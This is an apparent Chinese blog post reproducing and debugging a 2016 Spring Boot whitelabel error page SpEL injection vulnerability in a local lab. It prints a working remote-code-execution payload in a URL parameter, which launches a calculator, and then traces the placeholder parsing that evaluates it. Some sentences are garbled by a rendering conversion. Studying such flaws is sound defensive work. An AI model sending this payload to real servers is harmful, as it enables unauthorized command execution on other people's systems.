SpringBoot框架SpEL表达式注入漏洞复现与原理分析

前言

这是2016年的一个洞,利用条件是至少知道一个触发 springboot 默认错误页面的接口及参数名。

影响版本:1.1.0-1.1.12 1.2.0-1.2.7 1.3.0

修复方案:升级版本

环境搭建

下载链接:https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-
spel-rce

用idea打开之后配置一下,如下图:

image-20221017181515325

然后启动访问出现如下页面,代表搭建成功。

image-20221017181803951

漏洞复现

访问:http://localhost:9091/article?id= 9 ∗ 9 ,可以发现 ‘ {9*9} ,可以发现` 99,可以发现{9*9}`的SpEL表达式进行了解析,随后将该表达式的运行的结果进行了返回,如下图。

image-20221017182046663

现在尝试弹出计算器,访问:http://localhost:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new
String(new byte[]{0x63,0x61,0x6c,0x63}))}

成功弹出,如下图:

image-20221017182417716

调试分析

为什么会出现这情况呢,这是因为springboot返回错误页面的时候提供了详细信息,这些信息包括

错误status(“status”->500)、时间戳(“timestamp”->“Fri
Dec…”)、错误信息(“error”->“Internal Server
Error”)、和用户输入的参数(“message”->“test”),然后后端渲染视图时,会解析错误模板中的参数名。然后拿到对应的参数值,通过函数检查参数值中是否存在${},如果存在则去除,然后传入SpEL引擎进行解析。模板内容如下所示:

<html>
   <body>
       <h1>Whitelabel Error Page</h1>
       <p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p>
       <div id='created'>${timestamp}</div>
       <div>There was an unexpected error (type=${error}, status=${status})</div>
       <div>${message}</div>
    </body>
</html>

程序会判断模板中每个 的位置,然后将参数名一个一个取出来后传入 s p e l 引擎,解析参数名对应的值。这里就是漏洞的触发点,假如我输入 {}的位置,然后将参数名一个一个取出来后传入spel引擎,解析参数名对应的值。这里就是漏洞的触发点,假如我输入 的位置,然后将参数名一个一个取出来后传入spel引擎,解析参数名对应的值。这里就是漏洞的触发点,假如我输入{payload},spel取出来payload后进行解析,然后触发漏洞。触发点如下:

image-20221018225448700

浏览器访问http://localhost:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x63,0x61,0x6c,0x63}))},现在开始调试,首先会将map的值传入,context的rootObject中,之后以this.templatethis.resolver为参数调用replacePlaceholders方法,如下图:

image-20221018233024516

this.template的内容就是上文的错误模板,跟进replacePlaceholders方法
,进入PropertyPlaceholderHelper文件。image-20221018233724398

继续跟进parseStringValue方法

image-20221018235520635

image-20221019000759281

分析一下代码,首先StringBuilder将strVal转为字符串,并赋值给result,接着判断result中${}位置,结果为157、168,然后通过substring截取157和168的中间值,并赋值给placeholder,本次的值为"timestamp",然后将placeholder作为第一个参数,再次调用本方法。结果如下图:

image-20221019004056336

strVal的值变为timestamp,所以在indexOf判断时,由于没出现${,所以变为了-1,跳过了while循环,直接执行下边的return result.toString();

继续跟进,下一步是调用resolvePlaceholder方法,此函数的作用是查找this.context中对应参数的值并返回,如下图:
image-20221019005037683

发现拿到了时间戳"timestamp" -> “Wed Oct 19 00:38:36 CST
2022”,然后赋值给propVal,此时不为空,进入下一个if循环,再次调用parseStringValue。image-20221019005839496

接着进行replace替换,将原来的${timestamp}处的值替换成了Wed Oct 19 00:38:36 CST 2022,最后return result.toString();返回,如下图:

image-20221019011001492

然后寻找template中的下一个参数位,这次的参数是error,流程与上面基本一样,这里不再细致分析。

image-20221019012345026

接着第三个参数是status,同理

image-20221019012501868

最后是第四个参数message,重点来了,这个值是用户输入的。接着分析,跟进parseStringValue方法

image-20221019013044154

拿到message对应的值,也就是用户输入的payload

image-20221019013330910

赋值给propVal,接着调用parseStringValueimage-20221019013644607

这次调用去除了${}

image-20221019014121103

最后进入resolvePlaceholder,成功执行T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63})),弹出计算器,分析结束。

image-20221019014310803

最后

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,有需要的小伙伴,可以【扫下方二维码】免费领取:

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值